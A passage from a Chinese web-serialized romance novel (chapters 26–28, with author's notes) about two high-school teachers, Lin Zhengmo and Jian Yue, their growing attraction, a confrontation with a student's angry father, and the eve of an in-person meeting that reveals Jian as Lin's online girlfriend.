简越没办法,只好张开嘴,极其谨慎,极其斯文地吃了一小口。饱满的米粒配着肉丝,缓缓咀嚼着。忽然觉得被别人喂饭其实也不错,大概是喂饭的人极其赏心悦目吧。 她刚咽下,林筝墨第二口已经等候着她。 简越只能又吃,这种持续性的投喂,让她觉得自己真的很像个小孩儿。 她羞耻到有点儿不敢直视林筝墨 林筝墨又何尝不紧张,只是善于伪装。发现小口吃饭的简主任居然有那么一点点可爱?与她平日严肃的形象大相径庭,林筝墨还注意到,简主任的眼神老是往天花板飘,她好像故意不看过来。 也好。 不用对视最好了。 勺子递到对方嘴边,红润的嘴唇张开的时候,能看到洁白的牙齿,一点点,像是隐藏在红牡丹身后的白雪。简主任有着很好看的唇形,左右对称,上下匀和,唇线的纹路清晰,咀嚼的时候发出极其细微的簌簌,是牙齿和青菜摩擦的声响。 林筝墨居然觉得很好听。 她也饿了。 第三口,第四口 林筝墨全程盯着简越的嘴唇,她把这种机械的动作视为任务。却没办法去剖析为什么,为什么要如此细致地观察对方的五官,仅仅只是因为无聊吗? 有时,目光从嘴唇上跳到鼻梁,鼻梁再向上,瞅见简越的眼睛,那是一汪泉水,荡漾在林筝墨的眼波里,好像她们是一片湖,同一片水。 偶尔,简越会眨一眨眼睛,在眨眼时,视线会和林筝墨相交,那是0.01秒的眼神触碰,比按下快门还要短暂。简越会迅速抬眼,继续看天花板,可脑海里关于林筝墨的画面挥之不去。 喂了好几口,林筝墨胡思乱想起来,不免游神。 勺子不小心碰到简越的嘴唇下方,一点点油不小心擦到简越的嘴唇下面。 但简越还是乖乖吃饭,似乎没有察觉。 林筝墨停下动作,抽了一张纸,去替她擦嘴。 小小的纸巾贴在嘴唇上,慢而细致地擦拭着,痒痒的,还能闻到纸巾的清香。 简越被林筝墨这个行为触动到,浑身像浇灌了水泥一样,一动不动。 “你沾到油了,我给你擦干净。” “好。” 纸巾擦过嘴角,迅速点燃了简越的耳朵。 林筝墨无意瞥见简越泛红的耳尖,加快了手里的速度,将那张纸扔进垃圾桶里,仿佛什么都没发生过。 “我吃饱了。”简越忽然拉开距离。 “再吃两口?” “我真的吃饱了。” 林筝墨放下手里的盒饭,松了口气。 “林老师,那你快吃~”赵筱筱催促道,“这个四季豆可香了。” “嗯”林筝墨头晕目眩,迷迷糊糊的,她觉得简主任先前看她的眼神有点奇怪,不知道是不是错觉。 啊,算了,想太多,还是先吃饭吧。 赵筱筱同学夹过来两根四季豆,林筝墨木讷地送入口中,心不在焉地咀嚼两三次。 下一秒,林筝墨手里的动作顿了一下。 不对劲。 她怎么吃的简越的筷子! 侧目再看简越。 啊啊啊! 简主任在看她!!!—— 作者有话说:赵筱筱:俺不中了,我表姐和林老师在玩大的。 林筝墨:俺不中了,我好像在和她间接接吻。 简越:俺中[狗头]今天吃了真的香香午餐[彩虹屁] 你们期待的掉马环节马上就要来啦~ 今天也是加更的一天呢! 第27章 第二十七章 林筝墨,你会怎么选择?…… 第二十七章 从林筝墨把筷子送入口中那一秒开始, 简越就已经看到了,但她没提醒她。 于是,看见小鸵鸟游神似的吃完一根四季豆,咀嚼时, 仿佛什么东西直冲天顶盖, 眼神怔住了, 虚虚掩掩的目光投过来,简越抓了个正着。 简越只是笑, 也不拆穿她。 林筝墨慌张的表情一闪而过。 可爱死了。 简越唇角漾开笑, 把隔得远的菜推到对方面前,“慢慢吃,不着急。” 林筝墨心中万马奔腾, 怎么做出这样尴尬的事来,她有洁癖,唯一能接受唾沫交流的只能是啊啊啊了, 简主任就算了吧。 她放下筷子,默不作声换了一双。 旁边赵筱筱嘟嘟道:“姐, 下午怎么办啊, 我要上课, 谁照顾你呢?要我叫姨妈过来吗?但是姨妈在诊所每天也很忙啊。” “没必要麻烦。”简越实行一贯的独立:“是手伤了,又不是脚伤了, 能走能活动的, 吃完饭就回学校吧。” “那好吧。”赵筱筱接着疯狂暗示:“可是你一个人住, 换药不方便吧?晚上放学我来帮你好了?” 简越寻思着这小孩儿还能想到这一层?不错,会关心人了。 饭后,三人一同回学校,由于简越的手确实不太方便, 于是请了半天的假。 林筝墨则和赵筱筱一同回教室,途中,明显感受到赵筱筱很反常,尽管平日就是一个活泼的姑娘,但今天明显亢奋过头了。 “你怎么了?”林筝墨忍不住问她:“开心成这样。” “啊~”赵筱筱意味深长地瞅了林筝墨一眼,“林老师您嗑过cp吗?” “没有。” “那太可惜了。”赵筱筱眼睛泛光,她现在看林筝墨,就像看天上的女神,比以前还镀了一层金光,“我嗑就行。” 好嗑。 爱嗑。 “所以你嗑的cp是?”林筝墨觉得这孩子不对劲,也不知道是入了什么组织,自中午买饭回来之后就像中邪了一样,不和她说话的时候,她居然也能一个人傻笑。 “简墨。”赵筱筱笑得合不拢嘴:“你知道这一对吗?” “缄默?”林筝墨摇头,“从来没听说过。” 日新月异,跟不上这些学生的潮流也是正常。 只听见赵筱筱低低笑了声,自说自话:“啊,自从嗑了简墨cp,感觉世界都明亮了!” 林筝墨听不懂她在说什么,索性不再追问下去。 两人回到学校,有学生问赵筱筱关于简越的事,赵筱筱大谈特谈,把中午简越说过的话又扩充了一遍,顿时一群人把她簇拥起来,局外人也成为了话题中心。 林筝墨不喜热闹,悄然离去…… * 办公室最近在商量一件事,关于下次团建的事宜。老师们似乎也闷得慌,对于去西山爬山很感兴趣。 下午,赵铭过来问林筝墨:“林老师,咱们安排的都是标间,去西山的时候,你和简主任住一间房行吗?” 林筝墨想也没想便答应了:“好。” “得嘞。”赵铭在册本上画勾,“那我把你们俩安排一间。” “嗯。” “对了,听说你中午去看简主任了?她还好吗?” 林筝墨其实也在想这件事,她也不知道简越现在怎么样了。 “我不太清楚诶。” 赵铭一声叹息:“哎,简主任流年不利啊,这事被她摊上真倒霉,那男生的家长不讲道理,倒打一耙要让简主任赔钱,说她刺激了他儿子,他儿子现在还在医院躺着,是校方的责任……” 林筝墨抬眼,不可置信:“不要脸吗?” 赵铭迅速点点头,灼心似的挠挠下巴:“很难搞,正隔壁办公室闹呢。” 就说呢。 五分钟前,隔壁开始闹哄哄的,原来是疯狗在吠。 “他要简越赔医药费?”林筝墨难得主动和赵铭交流:“他真的要简越赔钱?” “是啊,对。” 下一秒,林筝墨起身来,赵铭忽然就嗅到一股劲劲的气场。 啊呀。 林老师怎么啦? 赵铭刚想问,结果林筝墨竟然转身径直朝门的方向走去。 “林老师,你干嘛去嘞?” 林筝墨头也不回,理也不理他。 * 隔壁办公室。 “你就说你们负不负责!负不负责!他只是个小孩儿,他能拿刀杀人吗?” 年纪副主任,张主任,一个读过书的女人,温和礼貌,试图和对方讲道理: “你先冷静一下,是你的小孩要打我们学校的学生,不是我们学校的孩子要惹事,你要搞清楚前因后果。” 中年男人哪里能听,黑胡子一吹,怒气能飞到天花板上去,见张主任脾气好,啤酒肚往桌子上一怼,几本练习册啪嗒落下,大声说:“我就问你,现在我儿子是不是躺在病床上,刀子是不是割到他喉咙?” 张主任揉揉眉心:“是他自己割的自己好吗?” 砰! 男人一巴掌往桌子上一拍,愠怒道:“要不是你们年级那个主任刺激他,他能做出这样的事吗?这叫煽动罪,你懂吗?!” “谁煽动谁了?”林筝墨赶到办公室正好听到这句,火气噌的一下就上来了。 中年男人转过身,发现只是一个身材纤弱的女老师,完全没当回事。 转身继续指着张主任说:“赔钱!十万八万给我赔!反正你们学校有钱!” “谁赔谁?”林筝墨几步走到男人面前,她没有他高,但她的眼神比他厉害。 男人先是瞅了她一眼,被她锐利的目光刺激到,刚要大声说话,林筝墨快他一步,语气逼人:“今天中午12点20分,学校门口的监控显示,你的儿子从裤子里摸出一把小刀,要杀我们学校的女生。女生全场没动手,倒是你们家的畜牲咄咄逼人。” 畜牲。 赵铭站在林筝墨身后瑟瑟发抖,她也太直接了吧。 赵铭冷不丁帮忙把门阖上了。 避免旁观。 宽绰的办公室内,林筝墨的声音回荡在室厅里:“到12点21分,你家儿子对我们年级的女同学进行了刺向的动作,还好遇见刚出校门的简主任,她只是进行了合理的阻拦。” “放你妈个屁!” “一进来就觉得办公室很臭,放屁的好像不是我吧。”林筝墨声音不大,斩钉截铁:“也不是谁声音大谁有理的,您这么不讲道理,想必子随其父也是合理,但我们今天要讨论的不是这个。事实是,我们年级的主任现在还躺在医院,手心的软筋断裂,有截肢的风险。另外,高一年级被迫害的李同学,现在已经被送去进行心理疏导。对比起您儿子那一点皮外伤,该受到重视的应该是我们吧?我校已经联系过警方,他们已经查过监控,你那边全责。” 男人锐气稍减,涨红了脸,一股粗气呼向林筝墨,可半天也吐不出一个字来。 林筝墨直勾勾看着他,眸子里噙着冷漠。 赵铭和张主任都不说话,这不是他们认知里的林筝墨,很陌生。而且,林筝墨好像很狡猾,在她的陈述里,其实大部分都是不属实的,但的确是吓到了这位文盲。比如说到简越可能会截肢的时候,对方脸色微变,明显慌张。 原来对这样的顽固之徒是不需要讲道理的。 办公室忽然很安静,短暂静默过后,男人转身,在简越座位的空处狠狠踢了一脚。凳子哐当一声翻到在地。 林筝墨双手抱胸,看他表演,淡淡道:“然后你现在还要赔我们凳子的钱。” “草你妈l逼的!”男人转过身怒不可遏,一根粗粗的手指指着林筝墨的脸蛋。 林筝墨抬眼看他:“办公室都是超清摄像头,打我很贵的。” “老子有关系!出了这个校门,你看我回头不弄死你!” 赵铭怕他来真的,连忙上前扒拉了林筝墨一下,让她和他拉开距离。 林筝墨撂下一句:“你有什么关系?如果是南城的关系那你不用找了。” “好了好了。”张主任插话:“这边我们已经说得很清楚了,你赶紧走吧。” “你给我等着。”男人咬牙切齿,牙齿打架,吱嘎一声,气得牙缝里能搓出火星子来。 可终究还是虚张声势,有其父必有其子,大步流星离开,刻意将门摔得很大声,招摇过市的灰溜溜。 他一走,大家都松了口气。 “林老师。”赵铭瑟瑟发抖:“你不怕他报复你吗。” 林筝墨垂眸,去把简越的凳子扶起来,发现已经坏掉了,低声说了句:“他不敢的。” 张主任揉揉眉心,感叹道:“我还真不知道怎么处理,没遇到过这么不讲道理的人。” 赵铭望着张主任,讪笑:“哎呀,我们读书人都是这样的,都是这样的~遇到莽汉就头大!”回头又把林筝墨夸了遍:“还是林老师厉——咦,林老师怎么走了?” * 林筝墨是个没有脾气的人,至少她的自我认知是这样。人生中唯一一次发脾气,是小时候周京芳弄丢了她的小狗。她哭了很久,最后歇斯底里对他们说:“我恨你们!” 可她第二天就好了。 再也不提小狗之事。 以至于周京芳和林鸿都不记得她真的生气过。 在林筝墨的记忆中,她实在回忆不起来,自己是否真的有失控的时刻,思来想去,好像二十八年最狠的话也只是那句“我恨你们”。 她小时候脾气就好,长大后更是,从来不为自己的事生气,也不为别人的,佛系得要命。 但今天简越这件事除外。 她承认自己有一点点的失控,即便她全程表现得很淡定,但从办公桌起身那一刻,她的心里就堵着一团怒火。 她不爽、不悦。 她觉得有人在欺负简越。 她想收拾他。 她要报复。 但事后她也觉得莫名其妙,觉得根本没必要为简越这样。 “啊——” 今天是林筝墨守晚自习,她站在阳台发呆,无所谓地游神。耳朵上挂着耳机,心不在焉,脑袋里还在回忆下午的事。 教学楼的白炽灯依旧亮着,一条条横杠式的条灯框在玻璃窗里,有点像光明监狱,学生们则在安安静静的坐牢。 耳机里依旧是啊啊啊的声音。 五月是不错的见面日,距离倒计时已经可以以小时来计。 林筝墨看了眼日历,距离见面还剩120多个小时。今天她和啊啊啊聊过天,但啊啊啊一直回复得比较慢,也不知道为什么。 晚自习放学还剩2分钟。 林筝墨转身,去办公室拿包,准备回家。 不远处,高1一班,赵筱筱偷偷溜过来准备发起进攻!! 偷偷摸摸潜伏到门口。 “林老师!!”赵筱筱一秒入戏,一只手捂着肚子,眉头紧蹙:“林老师,您还没走呢” 那时林筝墨已经拎着电脑包准备走人,转身一看赵筱筱那模样,便问了句:“你怎么了?” “我想拉稀。”赵筱筱呲牙咧嘴,唇角抽搐:“我肚子不舒服了。” 林筝墨递给她一包纸,“快去。” “不是,我有纸的。”赵筱筱疼痛难耐:“林老师,你帮我个忙好不好?” 看她那副模样,像是下一秒要窜出一碗黄汤。林筝墨比她还急:“你快说。” “我不知道要拉多久啊,但是下午我答应我姐要帮她换药的。等会儿拉完应该很晚了,我要是去帮她涂药,今晚作业怕是写不完了,你能不能——” “好。”林筝墨想也没想应下来:“你快走。” “那麻烦你了,林老师。”赵筱筱居然还放了个屁,那么应景,夹着裤子快速溜走了 于是,擦药任务就这么落在了林筝墨的肩膀上。 也好,顺带去看看简主任吧 * 【加更章】 * 简越虽然请了半天的假,但却是个完全闲不住的主儿。一只手不方便,却还是单手操作,做了家务,又在群里处理工作上的事。 晚自习下课,才收到赵铭的私信,对方把今日“林筝墨大战老黄狗”的事迹报备。 简越:“真的假的?” 赵铭:“假一赔十。” 简越:“你怎么不录个像!” 赵铭:“林老师太飒没来得及!有空你自己去调监控吧!” 简越觉得很不可思议,她的小鸵鸟居然这么勇猛吗?居然也有为她出头的这一天!思索着,目光跳过屏幕,落在阳台的花卉上,她试着想象那场景,但实话说,很难。想象不出林筝墨强势的模样。 但光是听赵铭三言两语,简越的已经心情飘飘然~ 叮咚叮咚—— 门铃响起。 简越把电脑放在沙发上,趿着拖鞋去给赵筱筱开门。 门支开一个缝,瞥见一身白色长裙贴着黑色电脑包,一双森系棕色单鞋,鞋面上的镂空纹路很好看,这么仙的穿搭怎么会是赵筱筱。 “诶?”简越抬眼,视线撞进对方的瞳仁里,掩饰不住欣喜,“小林你怎么来了?” “赵筱筱她有事,我替她,让我来帮你换一下纱布。” “啊?哦!”简越反应过来,侧身,“快进来。” 林筝墨准备快事快办,穿上简主任递过来的拖鞋,问她药在哪里。 简越将药口袋递过来,完全没从幸福中回过神来。赵筱筱最近怎么回事,老是无心插柳柳成荫。 两人在沙发坐下。 “医生有说什么注意事项吗?” “让我不要沾水就好。” “手给我吧。”林筝墨摊开手掌,轻轻握着简越的手腕。 日常拆除白皮粽。 林筝墨从医药箱里拿出小剪刀,剪开一角,缓慢而细致地将纱布撕开,前面几层没什么,撕到一半看到黄色的液体,再往里几层,渗透出一点血迹,有些瘆人。 “疼吗?” “不疼。” “哎——”林筝墨却兀自叹气起来,揭开最后一层纱,即使有心理准备,却还是被伤口惊吓到。 大概是今天简越表现得过于云淡风轻了,林筝墨还以为伤口不是很深,真的看到才发现其实不然。 简越的手掌纹路细致,指节纤细,若是没有这些血迹的污点,那该是一双很漂亮的手。但此刻伤的伤,刀痕的缝隙里全是血痂,触目惊心地让林筝墨眼皮跳了一下。 “我先给你涂碘伏,你忍一下。” “好。”简越任由对方帮她处理伤口,一瞬不瞬看着林筝墨,“听赵老师说,你今天下午帮我出气来着?” “有吗。”林筝墨装傻。 “她说你和那个男的的家长吵架了。” 林筝墨将碘伏抹开,不敢碰到简越伤口深的地方,漫不经心回答着:“哦,是,他不对。” 简越觉得林筝墨这幅模样实在可爱,她怎么可以做完好事情绪这么淡淡的,一点都不贪恋夸奖的样子。 “赵老师说你和别人理论有一套。”简越笑着说。 “也没有。”林筝墨换了一根棉签,继续涂抹,又说:“我很讨厌倒打一耙的人。”全程只是看着简越掌心,“然后他把你凳子脚踢坏了,明天你上班没椅子坐了。” 林筝墨的关注点 也好可爱! 简越只觉得手心痒痒,心尖也痒痒。在与林筝墨接触的近距离里,她能闻到林筝墨的头发香,而林筝墨低头的角度,正好看见她清秀的侧脸,她的鼻子很好看,鼻梁的侧线拉成一条线,在鼻尖留下点睛之笔。 挪不开眼 “那赵老师还跟你说了什么?” “赵铭说,你家的关系很硬气,说你不在怕的?” 林筝墨僵硬许久的嘴角终于有了弧度,“我没有,我骗他的。” “那赵铭说,如果是他,你才不会帮他呢,是吗?”简越看着林筝墨,眼底有期许。 林筝墨手里的动作顿了一下。 是的。 简主任。 你今天在我的世界里显得很特殊。 连我自己也莫名其妙的。 我不知道为什么突然那么有正义感。 有种失控的烦恼。 所以我现在不是很想和你热情搭腔。 上一次发火是小学四年级的时候。 在此之前。 我已经忘了愤怒是什么感觉了。 “没有诶。”话到嘴边林筝墨却说:“只要是同事我都会帮。” “哦~这样。”简越没得到想象中的答案,迅速转移了话题:“涂好了吗?” “好了。” 简越将手收回来,她的手又变成了新的白皮粽子,林筝墨还替她打了一个可可爱爱的结。 接着林筝墨默不作声把药归位。她提起电脑包,看样子是要回家。 简越起身,也不留她,“我送你吧。” “不用了,早点休息。”林筝墨一只手扶在门框上换鞋,看样子忙着走。 简越心底忽然生出一点不舍来,林筝墨来得太快,去也快,前后几分钟,欢悦像风一样马上就要吹走了。 简越看着对方,琢磨着,一百多个小时之后,她们将跳跃到另一种关系里。 那时候的林筝墨会接受这段感情吗? “对了,那天你弹的钢琴曲叫什么名字?”简越还想拖拉些时间。 “忘了。”林筝墨眨了眨眼,“我想想,哦,曲名翻译过来叫《春日,樱花还有你》。”不知道简越问来做什么,“怎么了简主任?” “很好听,最近脑袋里都在想这首曲子。” 林筝墨眼色茫然,“其实有些人会用这首曲子来表白。” 简越心脏迅速跳动了一下。 结果林筝墨没有表情地说:“但我只是消遣。” 简越心想,这说得我心情忽上忽下的,差点还以为自己把自己绿了呢。 “下次弹些别的给你听吧。” “好啊。” “走了,简主任。” 整晚,林筝墨都淡淡的,语气淡淡的,神态淡淡的,连她身上的白裙也淡淡的,换好鞋就走,几步消失在楼道里。她的存在像一缕风,来过又好像没来过。 简越望着她的背影,略微惆怅起来。 见面时日渐进,那些逃避的,不确定的,都将摊上台面来。 其实不敢想象最坏的结果,如果下周林筝墨无法接受她,那她们是不是连现在的关系都维持不了?可是,这种不近不远的关系,也完全没有意义。 是时候面对现实了。 所以林筝墨。 那时候你会怎么选择?—— 作者有话说:温馨提示:掉马前为我们的歌单增加了一首歌《Short Stay》 温馨提示2:马甲真的捂不住了……Let’s 掉! 第28章 第二十八章 林筝墨,我和她是同一个人…… 第二十八章 见面时日渐近, 简越的心情在坐过山车。 倒数第三天:好焦虑。 倒数第二天:要疯了。 倒数第一天:哈哈哈,毁灭吧! 所以人无奈到某种程度,最后都是随缘,看老天怎么想吧。 周一晚上, 距离见面不到24小时, 林筝墨躺在床上辗转难眠。 凌晨三点, 给啊啊啊发送消息:【我睡不着。】 【我也是。】 【啊,你这么晚都没睡?】 【嗯。】 于是, 两个人拨通了最后一通网恋电话, 明日过后,将不再只是线上的关系了。 电话里,啊啊啊听起来又困, 却又睡不着,声音轻飘飘的。 林筝墨来到客厅,蜷缩在沙发上。夜色浓稠, 窗外的月光像银丝一般滑落在地,整个空间显得苍白而空寂。 “所以是晚上九点二十分对吗?”林筝墨问她。 啊啊啊嗯了声, 嘟哝道:“学校门口有超市吧?” “有一家红旗。” “那我买两瓶可乐站在门口等你。” 可乐算是一种记号吧, 不至于到时候人就在旁边, 也认不出来。 脑袋里那根神经依旧兴奋着,林筝墨思绪飘空, 已经想到明晚吃完饭过后, 沙发上将不是一个人, 也许啊啊啊就坐在她旁边,也许她们会做点什么。那些照片里的诱惑片段,将走进现实,她可以触碰, 也可以亲吻。 啊。 更睡不着了。 “我听说有些人会见光死。”啊啊啊的声音清醒了些:“你说我们会不会这样?” “怎么会呢?” “万一我长得很吓人”试探中杂着一半开玩笑的语气:“然后你被吓到。” 林筝墨实在想象不出啊啊啊长什么样能让她吓到,现在这个世道,想丑得标新立异也挺难的,人人一个鼻子两个眼,再丑能丑到哪里去。 而且,林筝墨觉得,身材这么好的人,丑点就丑点吧。 看不了脸还能看看别的地方呢 “没事,别想太多。”她安慰啊啊啊:“都要见面了你还在思考这些问题,没有意义呀。” 啊啊啊沉默片刻,“嗯,有道理,那明天晚上九点二十,红旗超市门口见。” “好呢宝宝。”林筝墨难得主动,“早点休息,明天开开心心来见我。” 末了,隔着屏幕轻轻吻了简越一下,嘴唇抿在一起,发出轻柔的声音。 简越觉得自己耳朵忽然泛痒,爱意从屏幕里流出来,滴在她的心尖上。 “晚安~” “晚安!” * 周二,一个朴素又烦人的日子,既不如周一犯贱,又不如周五迷人,规规矩矩,一般一般。 可有些人不这么觉得。 太阳照常升起,清晨的光晕从阳台洒过来。林筝墨已在试衣镜前站了许久。 她换了四套穿搭,还是拿不定主意,有那么一个瞬间,她甚至想发照片问啊啊啊喜欢哪套了。 但还是要留点惊喜的。 白色向来是适合林筝墨的,一条月白色的天丝长裙,薄薄的肩带搭在肩头,露出纤细的臂膀,裙身一路向下坠,一直到小腿根,仙气瞬间扑面而来。秀丽的墨发随意披在肩头,有种冷淡又不食人间烟火的感觉。她很少戴项链,但和啊啊啊见面,她想注重细节,便配上一条白搭的细款银色吊链,算是点睛之笔。 往镜子前一照,连自己都觉得好看。 满意。 却是不怎么化妆的,淡妆,在嘴唇上润了一点唇膏。 心想:明明晚上才见面呢,现在已经迫不及待全□□上了。 这该死的兴奋感。 玄关处放着一双暖棕色的罗马式单鞋,浅口编织宽,轻盈又清新。 穿上—— 啪嗒阖门。 小鸵鸟出门了 * “哟!简主任!今天约会呢?”张老师在学校门口正好看见简越。 简主任不对劲。 今天漂亮得过头了。 哎呀。 她介绍的那些猪头。 怕是有点配不上她呢。 惭愧惭愧。 张老师蠢蠢欲动,眼睛上上下下打量着简越,目光里噙着艳羡。年轻女人就是好,小小口红随便一抹,能惊艳整个世界,那叫一个引人注目。 “啊?”简越语气寡淡:“我今天正常上班,没有约会啊。” “你今天好漂亮!!” 简越只是笑:“想打扮打扮嘛。” 张老师心想,也是,她像简越这个年纪的时候,更爱打扮呢。倒是最近几年觉得自己年老色衰,不情愿装扮了。 “张老师其实你也很漂亮。”简越直言:“想穿什么,想化什么妆,都随着自己心情来,别吝啬。” “哎哟,你这话说得,我下班得去把我上次看上那条裙子买了。” 两人随便叨叨,慢吞吞往办公室方向走。 简越佯装镇定,心里也没底,直到上楼时,正好瞥见林筝墨,两人打了个照面。 林筝墨:??? 简主任今天也有约会? 简越:!!! 她好漂亮!!! 林筝墨:“早上好啊~” 简越颔首:“早上好林老师。” 两人各怀心思,但都没在面上表现出来。某种意义上来说,两人确实是绝配。 林筝墨随便问了句:“简主任手好点没?” 简越昨天才拆了纱布,摊开手在林筝墨眼前晃了晃:“还行吧,恢复得不错,没大碍。” 林筝墨看了眼,结痂了,但伤口还挺深的。 “纱布拆这么早干嘛?” 简越心想,为了见你,我总不至于绑着一个白色大皮粽吧?初次见面,虽然不是初次,但也算是初次,是得重视点儿。 “要约会。”简越直勾勾看着林筝墨,眼底荡漾着异乎寻常的情愫,“很重要的约会,不敢懈怠。” 林筝墨心想,我也要约会,我也要约会,我要约的会也很重要,哎,不能再想了,再想下去,唇角要压不住了。 “喔,祝你成功。”林筝墨轻飘飘落下一句,“我去一班了。” “拜~”简越凝视着对方的背影,“诶等等,林老师~” 林筝墨回头看她,不语。 “今天这套,超级——”简越竖起了大拇指。 林筝墨担心了一个早上,没人夸她,简越这么一说,放心下来。简主任审美不错,她觉得好看,那啊啊啊也不会差! “谢谢,你也是。” * 傍晚,天空特别漂亮,今天看到了火烧云,橘红橘红的一片,摧枯拉朽地烧到天边去,像是红色的烈焰海浪。 林筝墨站在办公室门外的阳台发呆,晚风吹动她额前的发,露出那张清冷的面庞。 MP3里,独白49说: “亲爱的林筝墨,关于我们的对话,像是一辆疾驰而过的火车,沿途的风景看够了,终于到抵达终点了。不知最后两首,你是在距离见面的第几个小时在听?我有一个小小的建议,把第50首留在这个MP3里,留一个悬念,留一个纪念。晚饭后我站在阳台,录下这段语音,这是所有片段里,最长的一曲。” “也许没有人恋爱像我这样,连最基本的见面也是奢望,苦苦让你等待这么久。” “我不是一个绝好的恋人,我犹豫,踟蹰,我胆小如鼠,因为我爱你。” “我爱你这三个字听起来有些过于情意绵绵,以前嗤之以鼻,直到遇见你。” “印象里你总是习惯沉默,低头,在你自己的世界里。人海茫茫,总是想念你,想念你穿白色连衣裙,鞋屡踏过花岗石地板,啪嗒啪嗒,富有节奏的脚步声,回荡在教室,走廊,整座教学楼里。致使我失眠好久,好久。” “那只是我的幻想吗?可每天可以听到你的声音觉得好开心。对不善言辞的你,我句句斟酌,品出好多甜蜜。” “我应该是贪心的,想要今晚见到你,可以拥抱你,亲吻你,在你身上留下我的痕迹。” “对了林筝墨。” “今天天气如何?” “心情好吗?” “我们要见面了。” * 晚上九点—— 简越的运动手表显示心率为139每分钟。 尽管她没有做任何有氧运动。 提上手提包,快步走出办公室,瞅了一眼隔壁,灯还亮着,只有一个老师,而林筝墨还在一班教室监考。 倒计时二十分钟。 简越连续三次深呼吸,看着自己下楼梯的脚尖,听心跳频率。 她快失控了。 “喂简主任走这么急呢?” “要忙着谈恋爱。” “啊?” 再一转身,简越已经走到几米开外,留下搭讪人一脸懵。 从未觉得学校的林荫道有那么长过,树影在水泥路上晃晃荡荡,晃开了简越的心情,她的确需要一瓶可乐,一瓶可乐刺激一下味蕾。 林筝墨 我好紧张。 简越阔步走出校门,又大步流星过了马路,撞进那家便利店里。 【您好,欢迎光临~】 货架上满满当当的饮品,简越打开冰柜拿了两瓶可口可乐,径直去结账。售货员认识她,知道她是学校的老师,搭腔: “今天两个人喝呀?” “对。”简越把二维码伸过去,滴。一瓶放在手提包里,拉开另一瓶的耳朵,噗嗤一声,碳酸气喷出来,简越抿了一小口,感受着泡泡在舌尖跳动。 看了眼时间。 21:12. 八分钟。 好一个八分钟,大于八十分钟,八百年,八万个世纪。 21:15. 学校放学铃声响起,是永恒不变的《菊次郎的夏天》,简越站在红旗超市门口,LED招牌的光影落在可乐瓶上,她的脸上,映得五官苍白却美丽。 不一会儿,学生们陆陆续续冲出来了。 手机震动了一下,林筝墨发来消息:【可能要晚5分钟,在收试卷。】 简越:【好,等你。】 赵筱筱也背着书包冲出来了,看见简越居然在喝可乐,见鬼,表姐最讨厌在晚上喝饮料,说对身体不好,还是可口可乐呢,口是心非的大人! 怎么说也得过去舔一口。 “俺也要喝!”赵筱筱凑近了,吓了简越一跳。 她在。 她们怎么见面? “快回家。”简越在她书包上拍了一下,“作业写完了?” “我要喝可乐!!” 简越让她低声些,“人这么多,你非得和我这么熟吗?” 赵筱筱不要脸起来:“我今晚英语绝对考140分以上,一瓶可乐都不值得吗?” 给她买,给她买。 喝了快滚,快滚开! “你去拿吧。”简越在可乐罐上捏了一下,发出薄铁片的声音。 “ok.”赵筱筱回头问她:“你在等谁呀?” “我没等人。”简越忽然意识到,这不是个好地儿,“我喝完就走。” 赵筱筱让她结账,她又滴了一声。 “那我们一起走呗。” “你走吧。”简越看了眼时间,21:22,三分钟之内林筝墨一定会出来。赵筱筱要是在,这事儿不黄也得黄了。 “我不走。”赵筱筱往简越旁边一站,“我要和你一起。” 简越:“?” 手痒。 想打人。 赵筱筱旁若无人喝起可乐来,运动鞋在阶梯上踩来踩去,悠哉悠哉。 “你在等谁嘛?” 简越不说话。 “等你男朋友?要和她见面了?” 简越一口气差点没回过来,这小孩儿怎么每次都押中,她预言家啊。 “我现在给你妈打个电话好了。”简越翻开通讯录,自顾自道:“就说你最近在谈恋爱,上次在和人家” “停!停!”赵筱筱做了一个禁止的手势:“我走,我滚,我麻溜滚还不行吗?” 简越头也没抬一下。 “告辞,祝你成功~”赵筱筱嘿嘿两声:“姐,谢谢你的可乐,对了,你今儿真漂亮!像你这么漂亮的女人做什么都会成功的!” “快走。” “好嘞!”赵筱筱挥挥手,一路小跑去了街对面,假装消失在简越的视线里。 又在简越察觉不到的地方,找了一棵树蹲下,抿着可乐暗中观察。 嘿嘿~ 今晚要看露天百合电影儿了! * 晚上21:25,一抹倩影终于出现在简越的视线里,林筝墨款款而来。 那时不少学生在她们之间,但简越第一眼就看到了她。 可乐已经喝到一半,二氧化碳也飞掉一半,简越的心情忽然静止了,电动车在马路上晃来晃去,人影晃来晃去,林筝墨越来越近,越来越近,简越的瞳孔里只有这个人。 走过斑马线,往便利店门口看了眼,却没看见故意躲在阴影里的简越。 她低头给啊啊啊发消息:【你在哪呀?】 简越忽然手心冒汗,惊觉,可乐怎么管用,一点点二氧化碳怎么就可以抵消这几个月来的顾虑。 简越:【你等我一下。】 林筝墨:【你去买东西啦?】 简越:【嗯,排队的人好多。】 林筝墨:【不急,等你。】 晚风簌簌,林筝墨站在便利店门口,在一棵橡树前走来走去,鞋子偶尔踢踢鞋尖,忽然也好紧张起来。她抬眼看天,看见树荫里的缝隙,真希望一低头,天空就变成了啊啊啊,她的啊啊啊,她好想她。 “林筝墨。”耳边忽然响起简越的声音。 林筝墨惊讶地回过头,发现简越站在她身后,“简主任?” 简越看着她,包里有一瓶没开的可口可乐,以及,垃圾桶里有一瓶喝了一半的可口可乐。 林筝墨的视线里,没有可口可乐,只有眼神空茫但不说话的简主任。 “怎么了简主任?” 夜幕之下,简越的脸色呈现出一种失去血色的苍白,但刻意化过妆,又稍稍掩盖了这种异常。她忽然觉得好难,好难面对林筝墨这样的眼神,林筝墨哪样的眼神,林筝墨看同事一样的眼神。 林筝墨的眼睛里噙着困惑,再度询问:“怎么了简主任?你不舒服吗?” “没有。”简越喉咙滑动了一下,忽然觉得口干舌燥,明明先前才喝过饮料。 她没办法再像平日那样随意找一个话题,她浑身紧绷,她开不了口,喉咙像堵了一块木塞,难受极了。 她倒是希望林筝墨一眼识破她,可林筝墨根本没往那处想。 “在等人吗简主任?” “是。” “我也在等人。” 时间已经过去三分钟,不见啊啊啊的人影,倒是身旁有个简主任。林筝墨有那么0.01秒的心慌,但很快推翻了那种可能。 那也太荒谬了。 电影也拍不出来。 于是,沉默成为了她们之间的默契,两人一人站一边,相隔四五米的距离。林筝墨低头看手机,与啊啊啊发消息:【你在买什么?我来找你吧。】 啊啊啊没回复。 简越的手指在屏幕上戳来戳来,删删减减,愣是没打出一个字来。 林筝墨又发:【我上司也在这边等人,等会儿你过来的时候注意一下。】 啊啊啊终于回复了:【好,你就在原地站着,再等五分钟。】 简越叹了口气,发现手心全是汗,汗液染得伤口有点疼了。 别慌。 平静。 